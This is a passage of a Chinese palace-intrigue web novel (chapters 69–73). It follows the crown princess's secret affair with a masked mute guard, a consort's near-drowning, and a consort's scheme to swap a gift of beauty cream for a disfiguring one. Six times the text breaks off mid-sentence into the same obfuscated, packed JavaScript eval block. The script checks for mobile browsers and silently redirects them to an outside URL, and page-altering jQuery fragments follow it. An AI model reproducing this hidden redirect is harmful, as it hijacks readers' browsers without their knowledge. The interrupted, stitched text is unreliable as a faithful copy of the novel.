但一码是一码,可怜不代表几日不露面的事儿就能翻篇。 江箐珂双手抱在胸前,端着傲气劲儿,故意无视夜颜想要牵手的意思。 她冷声质问:“什么事要你去办三日,可是出了京城?” 夜颜摇头,倒也诚实。 这江箐珂就更不理解了。 她接连发出三问。 “既然没出京城,为何三日不见人影?” “你夜里都不睡觉的吗?” “睡觉的时辰,就不能来凤鸾轩见我?” 怕手语太难,江箐珂理解不了,夜颜掏出了炭笔和折册子。 【遇到棘手的人、棘手的事,实在难以脱身。】 【且在下也三宿未能好眠,眼下着实疲得很。】 【只求太子妃,莫要再气了,可好?】 夜颜满眼的倦态,江箐珂确实看在眼里。 “事情可办好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968107|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 夜颜无力垂眸,摇了摇头。 随后抬手比划了一句。 【总会解决的,只是需要些时间。】 江箐珂不想什么事都斤斤计较,且她也理解,夜颜作为李玄尧的手下,定有他的难处。 遂抓起夜颜受伤的手,对着伤口轻轻地吹着气。 “疼吗?” 异瞳弯弯,倦态之中溢出几丝笑来。 夜颜提笔写字。 【太子妃亲几下,就不疼了。】 “蹬鼻子趴脸。” 话落,啊呜一下,江箐珂张嘴就在他手上狠狠咬了一口。 齿音清晰无比。 “我盖章了,以后你就是我的了。” 夜颜也不恼,反倒上赶子指了指侧颈,示意江箐珂在那里再来一口。 江箐珂也不客气,扑过去就在他的脖子上也来了一口,随后又用力嘬红了一处。 血被吸到嘴里,是甜腥的味道。 甜蜜换到凤鸾轩的大圆榻上。 大手紧扣在细腰的两侧,带着人儿轻摇。 幽暗的殿内,那重重纱幔隐约映着两人交叠的身影, 面贴面,颈缠颈,正是江箐珂从小册子上新学的鹤交颈。 正要上天入地时,喜晴跟曹公公在外面吵了起来。 “何事不能明日再说,我家太子妃都睡下了。” 曹公公为难道:“咱家也没办法,可毕竟是大事,不得不及时跟太子妃禀报啊。” 喜晴拦不住曹公公,叩门声响起。 “启禀太子妃,咱家有要事禀告。” 江箐珂忍不住想开口骂人,偏偏身下夜颜弄得厉害,她声音碎得不成调子,根本不敢出声。 曹公公又敲了几下门,随后站在殿外直言道:“启禀太子妃,穆侧妃夜里逛后花园,被只蝙蝠冲撞到,一时受到惊吓,不小心掉到荷池里。” “人虽救上来了,可现在仍昏迷不醒。” “太子殿下已去了梧桐苑,怕是太子妃也该去瞧一眼才合乎情义,不会落人口舌。” 旖旎缱绻都在此刻被击得稀碎。 第69章 才来(3-1) 夜颜偃旗息鼓,脸埋在江箐珂的怀里,似是无奈地长叹了一口气,显然没有再继续下去的心情。 江箐珂则气得想抽人。 她又不是太医,穆汐落水昏迷不醒,叫她过去有何用? 曹公公的叩门声再次响起。 江箐珂穿上中衣,草草裹了件斗篷。。 一推开殿门,她就冲着曹公公发起火来。 “大半夜的,找抽是不是?” “本宫又不是大夫,叫我去有何用?” 曹公公好声好气地哄着她。 “哎呦,太子妃息怒。” “无奈这人情世故本就如此,宫里啊,更甚。” “毕竟都是太子殿下的人,某种程度上那就是一家人。” “那徐才人和张良娣在听到消息后,都赶去了梧桐苑。” “太子妃若是不去,日后难免有人背后会说太子妃薄情淡漠,少了点人情味儿。” “若是再往坏处想,保不齐别人怎么编排太子妃。” “就说穆侧妃落水一事,是太子妃故意为之,那都是极有可能的。” “殿下命奴才来传太子妃过去一趟,本也是替太子妃着想。” 办事办到一半被人打扰,就跟好梦做到一半被人吵醒一样,不爽快得很。 但曹公公的话也不无道理。 左右衣服都穿好了,江箐珂索性就去梧桐苑走一遭。 她挪步要走,却见曹公公在殿门前踟蹰不前,往乌漆嘛黑的寝殿里望。 “看什么呢?不走吗?” 江箐珂冷声催促。 “走,这就走。” 曹公公笑着应承,几个碎步,便提着宫灯跑到前面带路。 去往梧桐苑的路上,江箐珂闲问了一句。 “好好的,不是被野猫冲撞到,怎么会被蝙蝠吓到?” 曹公公嗓音轻细地回道:“太子妃有所不知,京城这片地域本就是依山傍水的福地,京城外的野山里有不少蝙蝠。” “京城里老鼠多,时不时便会有几只飞到城里、宫里,藏在那些荒弃的宫院里,待夜里出来觅食。” “所以,被蝙蝠冲撞到,也不足为奇。” 前几日被碎瓷片割到手腕,今儿个又被蝙蝠吓得落水,怎么不好的事都落一人身上? 江箐珂觉得穆汐这人多少有点晦气。 可“晦气”二字到了嗓子眼儿,又被人情世故给压了回去。 若是话传到李玄尧和穆汐耳朵里,还不定惹什么麻烦。 梧桐苑里,灯火通明。 一踏进寝殿,压抑紧张的氛围便如潮般涌来。 徐才人和张良娣坐在一旁,李玄尧则紧握着穆汐的手,神色紧张且关切地守在床边。 察觉江箐珂来了,李玄尧侧头看向她,森冷的眼底是冰封十里的冷漠。 他朝江箐珂的身后乜了一眼后,莫名其妙地叹了口气。 视线回移到穆汐身上,李玄尧漠声指责:“才来?” 当着太医的面,礼数得守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969121|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 尽管心里早已抽了李玄尧几十遍,江箐珂还是盈盈行了一礼。 “妾身睡得沉,还请殿下恕罪。” 殿内点了还魂香,一名太医正在给穆汐施针。 江箐珂与徐才人、张良娣坐在一处,不知在这里守着到底有何意义。 有一说一,徐才人倒是真心实意地担心穆汐。 她坐在那里,绞着帕子,一瞬不瞬地看着床上的人,眉间夹的都是担忧。 而一旁的张良娣手拄着头,困得时不时点几下头。 江箐珂今夜同江止喝了不少的酒,回到凤鸾轩又同夜颜沐浴欢好,眼下困意如潮席卷,眼皮子跟坠了秤砣似的,直往下坠。 她学着张良娣,手拄着头,也跟着打起了瞌睡。 也不知迷糊了多久,一声锁链坠地的声响,瞬间惊醒了江箐珂。 她睁开眼,只见一个金制的镣铐掉在她的脚旁。 梧桐苑的女婢立马拾起,藏在手中的衣物里,并同江箐珂赔罪。 “是奴婢不小心,惊扰了太子妃,还请太子妃恕罪。” 江箐珂没当回事,挥了挥手,以示无妨。 看了眼床上的穆汐,还没醒。 她闭上眼,继续瞌睡。 可那镣铐躺在地上的画面,却在脑海里萦绕不散。 在想起夜颜手腕上的那圈磨痕时,江箐珂意识登时清明了起来。 美眸缓缓睁开,她身子坐正,直直看向躺在床上的穆汐,陷入沉思。 第70章 唯你是从(3-2) 太医的几根还魂针下去后,穆汐手指抽动,逐渐有了意识。 李玄尧如获大赦,松了一口气。 他紧握着穆汐的手,关切道:“小汐,你醒了?” 太医拔针后,同李玄尧拱手禀报。 “太子殿下尽管放心,穆侧妃并未呛入太多的池水,只是身子血气亏损,受了点惊吓,才昏厥不醒。” “微臣开个压惊和调养的方子给侧妃服下,休息几日便可。” 并未呛入太多的池水? 江箐珂听得云里雾里的。 光被个蝙蝠吓就能吓到昏迷不醒,穆汐这胆子也未免太小了些。 穆汐在李玄尧的把扶下,撑身坐起,朝江箐珂等人微微颔首。 她很是虚弱地打着手语。 一旁的婢女传话道:“都是我不好,让太子妃和妹妹们担心了。” 话落,她不动声色地四下瞧了瞧,似乎在找着什么。 目光落空,几许落寞在她眼底一闪而过。 好在人无大碍,说了几句体贴的客套话,一屋子的人便都跟着散了,独留李玄尧在梧桐苑里陪着穆汐。 回凤鸾轩的路上,江箐珂又想起那个金制的镣铐和穆汐腕上的割痕来。 穆汐是李玄尧的人。 谁又敢在她的身上动刀子? 除了穆汐自己。 而从那些深浅不一的疤痕来看,穆汐的这种情况想来是有些日子了。 若夜颜手背上的刀痕和腕上的磨痕与穆汐有关,那他们会是何种关系? 之前,她曾怀疑过夜颜是穆珩。 若真如她所猜想的那样,妹妹穆汐出事,夜颜深夜被急召过去,怕她再做傻事,守着她两三日,倒也合情合理。 可夜颜的眉眼、唇形,又跟李家人很像,与穆汐的眉眼完全是两种气场。 步子突然顿住,江箐珂想起曾经**止打断的推测。 难道夜颜,或者说穆珩,是文德皇后与穆大人私通所生? 但,若夜颜不是穆珩,而是那个早已“溺亡”的五皇子...... 那夜颜与李玄尧一样,与穆汐亦是相识多年的青梅竹马。 难道...... “太子妃怎么了,为何不走了?” 喜晴的话拉回她飘飞的思绪,江箐珂摇了摇头,散了“难道”后的混乱关系。 回到凤鸾轩时,夜颜蒙着被子,睡得正沉。 看得出来,他是真的乏了。 平日里很警惕敏感的人,今夜,直到江箐珂在床边坐下,伸手要去掀被子时,他才从睡梦中惊醒。 许是怕自己熟睡时被人瞧见真容,夜颜竟然是带着面具睡的。 江箐珂哭笑不得,转头熄了提灯,并忍不住揶揄了他一句。 “那张脸就那么怕看?也不怕闷死自己。” 面具摘下,斗篷解下,两人于黑暗中相拥而卧。 “夜颜。” 手指在夜颜的胸膛来来**地画着圈,江箐珂轻声喃喃道:“你可知我母亲**的吗?” 寂静的夜,只她一人独语。 “张氏是父亲带兵打仗时救的女子,一个见色起意,一个以身相许,在将军府外另起宅院,生儿育女。” “偏偏人的欲望是个无底洞,要了这个,便还想要那个。” “张氏不甘做个无名无分的外室,便故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971147|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引我母亲知晓他们母女的存在。” “母亲性子烈,跟我一样是个暴脾气,她得知真相,将那张氏好一顿打。” “偏偏张氏是个狐狸一样的女人,扮得了乖巧,装得了可怜,父亲心疼不已,嫌母亲是妒妇,眼里容不得人,一气之下便把将张氏抬为了平妻,接到了将军府。” “之后,父亲便日日宿在张氏那里,对母亲日渐冷淡。” “母亲郁郁不得欢,外面的人又对她指指点点,她心灰意冷,服毒自尽,狠心地撇下我和二哥哥不管。” 说到此处,似是安慰,夜颜轻抚她的头,两瓣温软在她额头上长长地贴吻着。 “一帘幽梦锁西楼,十载柔情付水流。” “灯下曾盟三生愿,梦回只见两行悲。” “这是母亲留下的两行。” “之前读不懂里面的爱恨之情,可自从嫁到东宫后,认识了你,好像渐渐懂了。” “我虽性子像母亲,却绝不会跟母亲一样,为了个负心夫君,舍弃自己的性命。” “在意的东西,若是别人碰过了,弃了再寻新的便是,何至于此。” “所以,夜颜,你若是被别的女人碰了,我会跟母亲一样狠心,再也不见你。” 夜颜抱她抱得很紧,像是要将人塞进他的身体似的。 指尖在江箐珂的背上一笔一划勾写。 【一诺苍生轻,一卿万事重。】 【此生,唯你是从。】 可惜字有点多,有的笔画又很繁复,江箐珂愣是没猜出夜颜写的是什么。 她不悦地嘟囔道:“你说你怎么是个哑巴,恼人得很。” 第71章 有喜了(3-3) 深秋寒凉,穆汐这一落水,不曾想染了风寒,在她的梧桐苑里消消停停地躺了数日。 再见她来凤鸾轩请安时,京城已正式入冬。 如今东宫里已有四名女子。 可都要到年末了,仍没有喜讯传出。 有关李玄尧无孕育皇嗣之力的谣言再次兴起。 朝中甚至已有大臣带头上奏,纷纷质疑李玄尧是否有储君之资,提议太医院为李玄尧验身,以证其身。 李玄尧一个头两个大,每每见到江箐珂,都没什么好脸色。 火气大时,甚至会咬牙切齿地调侃她一句。 “爱妃还活着呢,竟然没被你那避子丸给噎死?” 江箐珂腆脸笑怼。 “妾身可死不得,**,西延江家军就全成那贱妹妹的了。” 李玄尧沉声威胁。 “再不把那些避子丸扔了,以后都别想见夜颜。” 江箐珂怂了一瞬。 因为感情,夜颜成了李玄尧拿捏她的把柄。 她连夜颜是谁、家住何处都还没弄清楚,若李玄尧下令禁止夜颜来凤鸾轩,还真不知该去哪儿寻他。 可越是这样,孩子越不能要。 许是早就料到江箐珂不配合,李玄尧另辟蹊径。 徐才人脉如走珠,有喜了。 消息一经传出东宫,朝中的几位大臣纷纷闭上了嘴。 京城里关于李玄尧的流言,也渐渐平息了下去。 看吧,天无绝人之路。 逼一逼,办法总是有的嘛。 何必非得可着她江箐珂来? 如今,徐才人成了东宫的至宝,摔不得,碰不得,曹公公带着太监和宫婢,时不时便带着补品去侍奉着。 倒是江箐珂和喜晴好奇得心痒,整日猜徐才人肚子里的种是谁的? “会不会是谷丰的?”江箐珂猜。 喜晴摇头。 “他那个磕巴,估计叫床时都会磕巴,殿下派他去撒种,保准露馅儿。” “那是......谷俊的?” 喜晴仍是摇头。 “谷俊还跟黄花大姑娘似的,天天遇到个宫婢跟他搭话,脸就红得跟猴屁股似的,一看就不像破了处,侍奉过徐才人。” ...... 无奈东宫带把儿的侍卫、黑甲卫太多,两人猜来猜去,最后看谁,谁都像。 ** 都是京城贵女,张良娣、穆汐和徐才人三人,私下里来往自是频繁。 徐才人在院子里保胎,鲜少出来走动。 穆汐和张良娣便时常去徐才人那里坐坐,陪她说说话,解解闷。 至于其中有多少是真心实意,便不得而知了。 外面寒风瑟瑟,屋内暖炉煮茶。 三人坐在一起饮茶时,徐才人命婢女端上两个做工精致的木盒子上来, 盒子打开,里面都是青釉色的矮瓷瓶。 只是一个里面放着两个,一个里面仅放了一个。 徐才人缓声开口道:“如二位姐姐所知,京城最有名的御颜坊是妹妹的舅父开的。” “他店里的玉容膏用的药材,都是产于藩国的百年高丽红参和各种奇珍异草研磨而制,驻容养颜,是千金难买的好东西。” “前些日子,舅父又采买了一批到京城,给妹妹我特意送了六瓶来。” “此等好物,妹妹不敢独享。” “所以给太子妃留了三瓶,待寻个日子送去。” “剩下这三瓶,两个献给侧妃姐姐,一个便献给良娣姐姐,希望二位姐姐不要嫌弃才好。” 张良娣自是知晓这玉容膏的稀贵之处,连连道谢收下。 待与穆汐离开回各自宫院时,穆汐同身侧的女婢手语示意。 那女婢便将玉容膏递给了张良娣。 “我家侧妃也不知怎地,之前用过一次,许是身子对某种药材不适,脸上起了一大片的红疹,治了好久才消。” “女子容貌最是重要,尤其在这宫里,侧妃可不敢再用了。” “张良娣若是不介意,便收下。就算不用,拿去送人也是极好的。” 那女婢与张良娣言语之时,穆汐凤眸轻抬,不动声色地与张良娣身后的宫婢交换了一下眼神。 张良娣领恩而去。 穆汐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977018|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和贴身婢女则站在原处,瞧着那渐行渐远的倩影。 婢女同穆汐小声道:“就怕这张良娣的心思不够毒辣,即使有人在耳边吹风提醒,也不敢下手。” 穆汐弯唇浅笑,端着清清冷冷的姿态,手语回应。 【事情成与不成,全看那个人的福报够不够深。】 【若她福泽深厚......】 【区区一个玉容膏而已,扔了便扔了。】 裙裾如莲轻动,冷蔑的视线从远处收回,穆汐转身,身姿优雅高贵地朝着梧桐苑而去。 另一边,江箐珂扮成侍卫出了宫。 她寻到江止时,他正在南风馆里跟几名男倌猜拳喝酒。 一身红衣夹在几名面如冠玉的青衣公子中,大有种绿叶衬红花的调调。 “不找花魁找男倌儿?” 江箐珂眉头拧成了川字,不停地咂舌摇头。 “阿兄何不扶摇直上九**?” “说人话?”江止回呛。 “上天!” 江箐珂狠狠地剜了他一眼,将那几个男倌全都轰了出去。 江止从碟子里拿起一个薄荷叶放在嘴角里嚼,抖着二郎腿,露着一排大白牙,看着她甚是气人地邪笑着。 “老子这不是想瞧瞧,看看京城女子、夫人们都喜欢什么样儿的,以后也好勾搭几个给老子做姘头。” “不用下聘成婚又有人睡,还肯给老子花银子,两全其美,何乐而不为?” 江箐珂懒得跟他说这些不着调的话,甩了甩鞭子,喝令道:“起来,陪我去趟归宝阁。” 江止懒洋洋起身,带着东宫的几个拖油瓶,跟着江箐珂来了归宝阁。 一进门,他就说起了行话。 “老子想当点东西,此物无形无色,换吗?” 归宝阁的典当先生一听,同身边的小厮示意,将他们引到了归宝阁内侧。 “不知二位想打听什么消息?” 江箐珂摸了摸贴的小胡子,同江止对了下眼神。 江止代她开口。 “在下想打听下,二十多年前,曾给穆府夫人接生过的产婆。” 第72章 早断了 盘磨玉貔貅的手顿了下,典当先生又细细打量了江止和江箐珂二人一番。 幽深莫测的一双老眼让人瞧不出在盘算什么。 “不知二位能拿什么消息换呢?” 江止答:“西延大将军江无败的风流韵事。” 典当先生笑着摇头摆手。 “无用无用。” 江止看了江箐珂一眼,又道:“白太傅未婚妻的癖好?” 典当先生仍是摇头。 “小人物小人物。” 江箐珂急言。 “东宫曹公公的喜好,知道了,想攀附太子的人可是多了条门路哦。” 典当先生低头搓弄那玉貔貅,面色模棱两可道:“啧,还差点意思。” 江止又言:“朝廷明天要开拓一条运河支线,增建沿河码头驿站,此中隐藏的商机可是够人赚一笔的。” 典当先生不甚在意地笑了笑:“咳,早知道了。” 用力拍了下桌子,江箐珂豁出去了。 “东宫太子妃不为人知的小秘密,怎样?” 典当先生抬眸,冷幽幽地看向江箐珂。 “二位是何人,怎会知晓东宫的事儿?在下又凭什么相信二位的消息是真的。” 江止拿出军营里练兵的气场,下颌微仰,半垂眸眼底睥睨着那典当先生。 “宫中侍卫,受主子之命,特意来此处打听消息的。” “不信?有令牌在身。” 江箐珂会意,立马掏出曹公公之前给她的出宫令牌,在那典当先生的眼前迅速晃了一下。 典当先生这次倒是痛快点头。 “成!七日后......二位再来。” 离开归宝阁,江箐珂同江止寻了家茶炉。 京城不如西延的冬季寒冷,即使轩窗大敞,也不会冻得人哆哆嗦嗦。 加上炭火炉里的木炭烧得正旺,煮得茶壶上方水汽袅袅。 江止将烤熟的红薯从炉子里夹出晾了片刻,忍着烫,细心去掉外层烤糊的皮,然后掰成两半儿,热气腾腾地递给了江箐珂。 从小到大,他弄熟的东西,总是习惯性先给江箐珂吃。 江箐珂爱吃烤栗子,可惜茶馆里没有,江止又掏银子让茶馆小二买了一包回来烤。 栗子烤得爆壳,噼啪噼啪的一声声,静室添香,有种岁月静好的暖意。 江箐珂吃着香喷喷的红薯,觉得这才是她该过的平静日子。 虽不如宫里奢华雅致,却有着柴米油盐的市井烟火气,让人感到很踏实。 而承载记忆的食物,总会让人想起陈年旧事。 江箐珂还记得小时候在西延,每年冬季,将军府的厨娘总会烤些地瓜给她们当点心。 那时候,张氏总会将大个头的红薯挑出去,单独留给江箐瑶和江昱,把小的、细的给她和江止吃。 江箐珂觉得不公平,便去抢江箐瑶和江昱手里的大个红薯。 江箐瑶不肯,两个人就薅头发扭打在一起。 事后父亲总是会训斥她,说她没个当姐姐的样儿,还拿孔融让梨的事儿来给她讲道理。 江箐珂不肯认错,父亲就会罚她跪祠堂。 深更半夜的,江止便去厨房里把那些大个红薯都扛来,跟她在祠堂里,就着那给老祖宗烧纸钱的炭火盆,一起烤着个大又绵密的红薯吃。 “断了吗?” 栗子烤着烤着,江止突然来了这么一句,把江箐珂的记忆匣子一下子扣上了盖儿。 江箐珂自是知晓他在问什么。 本以为江止早忘了夜颜的事儿,没想到他还记得。 她低头津津有味地啃着红薯,状似漫不经心地撒起了谎。 “断了,早断了,断了都有些日子了。” 江止斜了江箐珂一眼。 “你最好说的是实话。” “是实话啊。” “这么容易就断了?他没威胁你什么的?” 江箐珂摇头。 “他也怕死,推心置腹地聊了几句后,就同意了。再说,外面好姑娘多着去,人家何必命都不要,非得给我当姘头?” 江止给自己掰了个地瓜,一口吃掉半个,挤得腮帮子都鼓鼓的。 他点头笑道:“倒也是。” 看到栗子烤熟了,江箐珂紧忙夹起一个。 剥开皮,她送到江止嘴边:“第一个阿兄吃。” 江止也不客气,张嘴就将那栗子含到嘴里。 那一瞬,温软的唇肉夹住江箐珂的手指,舌尖在卷走栗子时,不经意蹭到她的手指尖。 湿湿的,暖暖的。 那是她和夜颜之间才会有的触感。 江箐珂怔愣了一下,立刻收回手,低头继续剥下个栗子。 她在心里责骂自己,只是不小心碰到而已,何必大惊小怪的。 一旁的江止嚼着栗子,微微侧眸乜了她一眼。 靠近刀疤的那侧唇角斜斜勾起,笑得人不知鬼不觉。 他懒声催道:“再喂阿兄吃一个。” 江箐珂没好气道:“我是太子妃,使唤谁呢?自己剥,自己吃。” 话是这么说,可她还是剥了个栗子给江止。 只是这次,栗子是放在手心递过去的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977019|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁曾想,江止大嘴一张,两瓣唇擦着她的手心含走了那栗子,还蹭了点口水在她掌心上。 江箐珂嫌弃地将手往江止衣服上蹭了蹭。 “真恶心。” 江止只是一味坏笑。 ** 夜色未央,张良娣盯着身旁的那一豆烛火郁郁寡欢。 待贴身婢女提着流苏宫灯从外面进来时,她神色倦怠地看过去,问:“殿下今晚去哪儿了?” 婢女似有不忍,小心翼翼地低声含糊了一句。 “又是徐才人那里。” 张良娣叹了口气,闷闷不乐地转动着手中的团扇。 嫁入东宫数月之久,自那次洞房后,李玄尧便再未传她侍过寝。 虽然李玄尧偶尔也会来她这芙蓉轩同她用膳、下棋、喝茶,但张良娣想要的并不止这些。 相比太子妃和穆侧妃,太子殿下去徐才人那里反倒最多。 争不过太子妃和穆侧妃,那是理所当然的。 可凭什么要被一个小小的才人给比下去? 论家世、才情、相貌和性情,张良娣自觉哪一点都不比那徐才人差。 偏偏李玄尧却看不到她的好。 敛眸抬眼间,张良娣登时换了副神色。 明明是清秀温婉的长相,可眼底却透着一股阴狠之意。 她温声细语地问那贴身女婢。 “徐才人明日要献给太子妃的玉容膏,那嬷嬷可偷偷换成了?” 女婢谨慎地到各处门窗瞧了眼,才安心地低声回话。 “换了,三个玉容膏都偷偷换掉了。” “不管太子妃用哪个,都会烂脸毁容。到时太子妃暴怒,徐才人受罚,就算不死,那肚子里的孩子也定是保不住了。” 女婢替张良娣高兴道:“良娣这一招简直是一石二鸟,到时,太子殿下的身边便只有良娣和穆侧妃了。” 张良娣红唇浅勾,笑得恬静又温和。 “那嬷嬷可靠得住?” 女婢回:“靠得住,嬷嬷的女儿在咱们张府里服侍二公子,就盼着自己的女儿能混个通房妾室,巴结我们还来不及呢。” 张良娣仍有些不放心。 “回头叮嘱那嬷嬷一句,她手里的玉容膏,千万别被人发现了,尽快寻个地方埋了,或者扔到宫中的井里或池子里。” “良娣尽管放心,那三瓶玉容膏啊,嬷嬷稀罕得很,说要留着自己用。今日换职离宫时,早藏在身上带出宫了。” “那就好。” 张良娣敛眸颔首,算是放了心。 “那就等着看好戏了。” 第73章 一石二鸟 江止的镖局接了个大镖,这一走,又要小半个月。 加上天气冷了,江箐珂这些日子都窝在宫里猫冬。 是日,午后。 徐才人来凤鸾轩讨茶喝。 两人客客气气地浅聊了几句后,徐才人将那三瓶玉容膏呈递给了江箐珂。 “妾身入东宫以来,承蒙太子妃照拂,便想着将这玉容膏献给太子妃,希望太子妃红颜永驻。” 江箐珂心思糙,不似其他女儿家活得精致。 平日里,对这些胭脂水粉本就没什么兴趣,之前也就是为了气江箐瑶,大把大把花将军府的银子,买这些东西跟她攀比。 可徐才人有这番心意,江箐珂还是挺感动的。 她欣然收下,又命喜晴去库房里挑了点宝贝,作为回礼,赏给了徐才人。 徐才人眸色纯净地看着江箐珂,俨然一副乖乖女的可人模样。 “其实,不瞒太子妃,妾身的舅父本是给了六瓶的。” “三瓶送了太子妃,另外两瓶就送给了穆姐姐。” “还剩一瓶......” 说到此处,徐才人难为情地咬了唇,娇羞道:“妾身也想用,便自己留了一瓶。” “本是千金难寻之物,数量有限,没法再给张良娣了。” “妾身怕张良娣知晓会伤心,还请太子妃日后莫要在张良娣面前提起此事才好。” 江箐珂能理解徐才人的小心思。 女孩子家家,难免会在意一些细枝末节的小事。 她有,我没有。 儿时,江箐珂没少因为这种事跟江箐瑶打架。 遂,江箐珂爽快点头。 “放心吧,本宫不会提的。” 待徐才人走后,江箐珂摆弄着那三瓶玉容膏,转头瞧向妆奁。 那里还放着六瓶玉容膏,是夜颜前两日送给她的。 江箐珂突然犯起难来。 这么多瓶,她得用到何时? 喜晴她都赏了三瓶了。 这徐才人又送来三瓶...... 用不完,用不完。 想到整个东宫就张良娣没有这玉容膏,江箐珂将那三瓶递给了喜晴。 “去挑几个好看的钗子和绒花,同这玉容膏一起给张良娣送过去。” ...... 待喜晴离开芙蓉轩后,张良娣看着桌上那三瓶玉容膏是哭笑不得。 她红唇张张合合,半晌没说出话来。 兜来转去,算计好的一石二鸟,这箭怎么就射她这儿来了。 害人不成,她还得搭份回礼。 “良娣,这......这玉容膏怎么办啊?咱们这不是白忙活了吗?” 张良娣缓缓摇着团扇,举止温婉娇媚地默了半晌。 最后冷着声调道:“这箭,咱还得射回去,射不到两只,射中一只鸟也是好的。” 那女婢不懂,目光迷惑地看着张良娣。 而张良娣睫羽轻动,笑意亲和地抬眸看向她。 “这玉容膏,我赏你一个。” 柔荑素手将瓷瓶缓缓推到了那女婢的身前。 “良娣。” 女婢立马跪下,“奴婢......” 张良娣笑道:“你傻啊,又没让你用在脸上。” 她努了努下巴,示意道:“在这脖子上、手背上,涂点意思意思便是。” 黑夜逐着红日彩霞而来,在天上地下洒下星光点点。 殿外北风萧瑟,卷着枯叶在廊庑下穿堂而过。 而偌大的寝殿内,则是炭火融融。 一盏灯,两个人,围在烧着银丝炭的火炉前,沐在一片暖红的火光里。 夜颜这段时间也不知怎么了,天天拿着地瓜和栗子来凤鸾轩烤。 江箐珂起初吃得挺香,可这几日吃下来,现在看到地瓜和栗子,她就开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979747|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反酸水儿。 真真是一口都不想吃。 夜颜今日带的银制面具是半截的,眼睛和鼻子下面都露着。 心思一动,江箐珂剥开一个栗子,咬在唇间,仰着面颊要嘴对嘴地喂夜颜。 一双异瞳微弯,红唇皓齿,笑意同时从他眼底和唇角漫出。 他俯首迎来,亲吻她的同时,将那栗子也勾到了口中。 甜甜的,糯糯的。 夜颜唇角勾起的弧度也是甜滋滋的。 意犹未尽,他眼神示意,让江箐珂再喂一个。 江箐珂咬着栗子,唇刚挨到唇,殿外突然传来张良娣的声音。 “妾身有急事求见太子妃。” 这一个个的,怎么老在她要跟夜颜亲热时找事儿? 江箐珂蹙着眉头看向殿门。 可听声音,张良娣似乎很焦急。 而今晚,明面上李玄尧是宿在凤鸾轩的,夜颜自是走了明路来的。 所以,曹公公带着几名太监和侍卫正守在门外。 “良娣,时辰不早了,太子殿下和太子妃都已躺下歇息,有何事,明日再来吧。” 曹公公将张良娣拦在了殿外。 “曹公公,若是此事耽搁,我担心太子妃明日会出事啊。” 江箐珂与夜颜面面相觑,仔细听着殿外两人的对话。 “良娣不妨先同咱家说说看。” “今日太子妃赏了三瓶玉容膏给我,我院内的女婢一时鬼迷心窍,趁我沐浴之时,偷偷打开一瓶玉容膏,涂在了脖子和手臂上。” “没想到,本是美容养肌之物,我那女婢用过后,皮肤先是红肿发痒,随后便起了一大片的水泡。” 